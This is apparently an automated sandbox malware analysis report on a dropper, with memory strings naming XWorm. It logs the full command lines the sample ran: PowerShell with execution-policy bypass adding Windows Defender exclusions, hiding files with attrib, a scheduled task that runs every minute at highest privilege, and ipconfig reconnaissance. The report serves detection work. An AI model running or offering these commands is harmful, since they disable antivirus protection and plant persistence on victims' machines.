Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: dddd.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: \Device\ConDrv, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Users\user\Desktop\YgJ5inWPQO.exe "C:\Users\user\Desktop\YgJ5inWPQO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\msedge.exe"	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\dddd.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\msedge.exe C:\Users\user\AppData\Local\Temp\msedge.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dddd.exe C:\Users\user\AppData\Local\Temp\dddd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior

Source: msedge.exe, 0000000C.00000002.2742589628.000000000266F000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002678000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: msedge.exe, 0000000C.00000002.2742589628.000000000266F000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002678000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: msedge.exe, 0000000C.00000002.2742589628.000000000266F000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002678000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: msedge.exe, 0000000C.00000002.2742589628.000000000266F000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002678000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2{
Source: msedge.exe, 0000000C.00000002.2742589628.000000000266F000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002678000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF5A95E0 cpuid

0_2_00007FF7FF5A95E0

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI4322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\Desktop\YgJ5inWPQO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\msedge.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dddd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\msedge.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dddd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
